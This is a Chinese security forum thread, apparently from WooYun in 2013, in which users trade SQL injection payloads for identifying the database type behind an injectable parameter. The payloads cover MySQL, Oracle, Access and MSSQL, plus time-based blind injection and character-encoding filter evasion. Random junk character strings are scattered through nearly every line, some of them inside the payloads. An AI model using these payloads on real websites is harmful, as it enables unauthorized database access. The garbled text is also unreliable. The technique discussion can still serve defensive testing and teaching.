一个注射点如何最快速确认是什么类型数据库, A+ o) H1 Z$ f4 A2 n. S9 T
xsser (十根阳具有长短!!) | 2013-02-05 12:36
9 R4 I0 f% p3 _- S6 N0 g. \0 ?假设这么一个注射点:
1 L" u( A9 ]! K5 W7 R+ G$ P7 [show.html?id=29 e/ g) A7 Q: t5 c8 i
mysql:id=2 and version()>0- O8 r' N; v. g& t$ X8 P+ i
oracle:id=2 and '1'||'1'='11& j5 E8 i; G7 t% W0 V5 _+ p
其他的欢迎补充' Z o2 Z, I8 b$ L: k
1#
$ V* J w# u" Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
: t- y% O7 H( k( i \Access:# M5 v2 t6 _1 R* u* X5 g+ s
aNd aSc(cHr(97))=97
/ |1 I; K( o; [" h0 H! n6 Uand exists(select id from MSysAccessObjects)3 Z' s8 O" c3 c( [
SQL Server:2 d: j4 w# z' }- D, G6 v: ]
and exists(select id from sysobjects)
1 t( \8 [8 p; N* a7 gand length(user)>0
' [. i2 A3 y' X5 ]' O' ?+ ~3 V3 [' WMySQL:
7 R8 k/ I0 ]5 eand length(user())>0
& N, i5 ~0 I- ?1 l+ J0 `, F2#
% d2 @$ h$ T6 p oxsser (十根阳具有长短!!) | 2013-02-05 12:48* Z2 H% v, `. C
@upload 如果这些都不是呢…
" S1 x) R$ W6 t+ p9 ]3#* B1 |0 l& B+ G) T5 z5 v1 D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03/ v: U+ v8 g" M! d! H
@xsser 不快速的,延时注入8 r9 W! b, s" L6 L, F9 j
不知道这样写对不对+ J, H! |- m% _) c- U6 F, ]+ A
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
2 D% L* r9 q }0 S6 kmysql:id=2 and select benchmark(1e8,current_date());, V+ T* S5 J1 m5 \# M
4#8 D/ [( y( R. W; D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10) `0 o$ }6 T$ J) @
最快的貌似是看报错信息4 x; e0 X8 B" `4 ]
oracle error |8 l/ P, T Z: S; j! ?2 S5 t/ Q
mssql error
, U; j, e1 l4 e, _5 K% P( Nmysql error
' ]5 m/ m; j K A! e* w* ?5#
- Z( E2 H, N! |9 G/ J7 `1 aNimda (你们都是坏银~) | 2013-02-05 13:14# Q( }3 |* M9 O
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
% L# C" A" }+ R. `. p, |6#
. s6 v" J0 H/ X$ Jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
) m4 M u: L/ r7 d3 L“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:( b$ N' U' A$ Z& c
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:7 ^& h+ i' W; X1 K6 B' u1 _
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。5 w3 a9 S, k: v$ N0 u
7#9 w4 w& W+ b+ ^% I) R( r
_Evil (HackEnd) | 2013-02-05 13:33
" T7 F1 [% _! z4 _3 U! D' gPostgreSQL7 y3 ]! R; S& m$ k4 \
8#, S, M' Z4 n V k% |2 ^2 J
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
8 s; d, |6 n. k9 M7 D! h) ^切换编码 and 1=1
7 y$ n) H5 n) V4 \9 k% ^$ Foracle:1 X7 y4 S; k$ b
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
9 }; g. \3 p6 E7 }; Emssql:9 F( _/ y% w/ {/ q/ V% l: R
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
) `. l% _0 S, j0 w1 Z; Z, Zmysql:6 k: T* B0 E7 @4 v# r
CHAR(97, 110, 100, 32, 49, 61, 49)* Z& Q t7 D% p1 l5 I% m! B9 T" q
9#7 U' Q5 n9 s9 F: W+ X2 r8 G A
xsser (十根阳具有长短!!) | 2013-02-05 14:31
. |/ k: f( Z: ^. ~% r3 G% s+ [+ q/ }@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?$ g, ^4 p, x% p* w% O5 n
10#
7 M" S4 G9 m, c1 r: T; R& \upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
4 Z& j3 Z0 _- Q9 g2 P@xsser 是奇葩数据库类型的么?
4 y. s! \7 `5 F4 c+ b$ b9 C根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
( m8 L4 _# Y- S+ `1.是否可以使用特定的函数来判断,该数据库特有的
: ^; o. u& V8 S4 z+ y" l$ z$ U2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
- w! T! U. m+ M7 ~5 L3.是否可以编码查询
$ f# X! c5 r8 N7 G X: T4.是否显可以利用错信息0 @ _' C( N \2 o) i+ I x# Z
5.是否存在数据库某些特性辅助判断3 K, \* Z# C# q- W( ~% S
个人见解
& \ m* c4 Y$ g* Q$ l2 c6 y11#
* W' @3 v$ D" M) s1 d- @小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
# `% E/ T+ _* q' w/ Y e1 K" e+ \已收藏,mssql可以直接看到错误提示的吧~, v6 I( K9 w0 z8 u
12#. M9 V: f5 p J
Passer_by | 2013-02-05 15:09) G& d# }! g% V9 W5 P
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
, g3 G8 b. ]) Q* I) T' [from:http://zone.wooyun.org/content/260 |